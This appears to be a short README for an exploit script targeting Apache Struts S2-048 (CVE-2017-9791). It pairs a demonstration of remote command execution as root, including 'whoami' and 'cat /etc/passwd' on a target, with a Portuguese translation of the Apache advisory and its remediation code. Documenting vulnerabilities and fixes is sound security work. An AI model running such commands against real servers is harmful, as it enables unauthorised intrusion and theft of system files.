
http://struts.apache.org/docs/s2-048.html
https://cwiki.apache.org/confluence/display/WW/S2-048
> python St2-048.py
set url : http://xx.xx.xx.xx:port/integration/saveGangster.action
cmd >>: whoami
root
cmd >>: cat /etc/passwd

Possível RCE no aplicativo Struts Showcase no exemplo do plugin Struts 1 na série Struts 2.3.x
Quem deve ler isto Todos os desenvolvedores e usuários do Struts 2 devem ler isto
Impacto da vulnerabilidade Possível RCE ao usar o plugin Struts 1 do Struts 2
Classificação máxima de segurança Alta
Recomendação Leia a seção Solução
Software afetado Struts 2.3.x com plugin Struts 1 e ação Struts 1
Relator icez da Tophant Competence Center
Identificador CVE CVE-2017-9791
É possível realizar um ataque de RCE com um valor de campo malicioso ao usar o plugin Struts 1 do Struts 2, quando se trata de uma ação Struts 1 e o valor faz parte de uma mensagem apresentada ao usuário, ou seja, ao usar entrada não confiável como parte da mensagem de erro na classe ActionMessage.
Sempre use chaves de recursos (resource keys) em vez de passar uma mensagem bruta para o ActionMessage, como mostrado abaixo; nunca passe um valor bruto diretamente
messages.add("msg", new ActionMessage("struts1.gangsterAdded", gform.getName()));
e nunca assim
messages.add("msg", new ActionMessage("Gangster " + gform.getName() + " was added"));
Nenhum problema de incompatibilidade com versões anteriores é esperado.